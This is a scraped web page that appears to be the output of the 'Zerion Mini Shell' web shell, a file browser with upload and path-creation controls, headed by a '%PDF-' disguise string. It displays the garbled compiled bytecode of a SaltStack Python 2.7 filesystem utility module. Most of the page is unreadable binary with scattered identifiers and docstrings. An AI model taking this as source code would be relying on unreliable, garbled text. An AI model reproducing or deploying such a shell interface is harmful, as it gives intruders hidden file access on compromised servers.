%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/utils/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/utils/fsutils.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddlZ	ddl
mZddlm
Z
eje�Zdd�Zdd�Zdd�Zdd	�Zd
�ZdS(u
Run-time utilities
i(tabsolute_importtunicode_literalstprint_functionN(tCommandExecutionError(tsixcC@s�|jdd�r}|dr}|r5tjd|�ntjd|jd��tjd|jdd��t|d��ndS(	uC
    Crash to the log if command execution was not successful.
    uretcodeiustderru
Command: '%s'uReturn code: %suError output:
%suN/AN(tgettlogtdebugR(touttcmd((s6/usr/lib/python2.7/site-packages/salt/utils/fsutils.pyt_verify_runscC@s�i}tjjjd���}x�|j�D]�}tjjj|�}|j�jd�\}}}}}}	|r�||kr�q+n|j	|�dkr�g||<ni|d6|jd�d6}
|s�||
d<n||j|
�q+WWdQX|S(u#
    List mounted filesystems.
    u/proc/mountsu umount_pointu,uoptionsutypeN(tsalttutilstfilestfopent	readlineststringutilst
to_unicodetstriptsplitRtNonetappend(tfs_typetmountstfhrtlinetdevicetmntpnttfstypetoptionstfs_freqt	fs_passnotdata((s6/usr/lib/python2.7/site-packages/salt/utils/fsutils.pyt_get_mounts's '

cC@s7d�}i}x�||jd��D]�}i}xK||j�jd��D].}|jdd�\}}|||j�<qMW|r�|jdd�|ks�|r%d|kr�|r�|jd�n|||jd�<q%q%W|r3t|�}	x>tj|	�D]*}
|j|
�r|	|
||
d	<qqWn|S(
u
    Parse blkid output.
    cS@s#g|D]}|j�r|^qS(N(R(R tel((s6/usr/lib/python2.7/site-packages/salt/utils/fsutils.pyt<lambda>Dsu

u
u=iutypeuudevnameumounts(RRtlowerRtpopR!Rtiterkeys(RRtfltR tdev_metatdevtitemstkeytvalRR((s6/usr/lib/python2.7/site-packages/salt/utils/fsutils.pyt
_blkid_output@s"	"%cC@s;d�}t�}x�|tjd�j�jtj��D]�}|j�}|sXq:n|jd�}|jd�d }t�||<xV|D]N}g|jd�D]}|jdd�^q�\}}	|	|||j	�<q�Wq:W|r7t
|�}
x>tj|
�D]*}|j
|�r|
|||d	<qqWn|S(
uz
    Return available media devices.

    :param fs_type: Filter only devices that are formatted by that file system.
    cS@s#g|D]}|j�r|^qS(N(R(R R"((s6/usr/lib/python2.7/site-packages/salt/utils/fsutils.pyR#_su
blkid -o fullu ii����u=u"uumounts(tdicttostpopentreadRtlinesepRR%treplaceR$R!RR&R(RR'R R(Rtdev_nametk_settelmtks_keytks_valueR((s6/usr/lib/python2.7/site-packages/salt/utils/fsutils.pyt_blkidYs$		.

4cC@sEtddj|��}t|�tjd|d�dd dkS(u3
    Return True if path is a physical device.
    ucmd.run_allufile -i {0}u\s+ustdoutii����uinode/blockdevice(t__salt__tformatR
treR(tpathR((s6/usr/lib/python2.7/site-packages/salt/utils/fsutils.pyt
_is_deviceus
(t__doc__t
__future__RRRR<R/tloggingtsalt.utils.filesRtsalt.exceptionsRtsalt.extRt	getLoggert__name__RRR
R!R-R9R>(((s6/usr/lib/python2.7/site-packages/salt/utils/fsutils.pyt<module>s

Zerion Mini Shell 1.0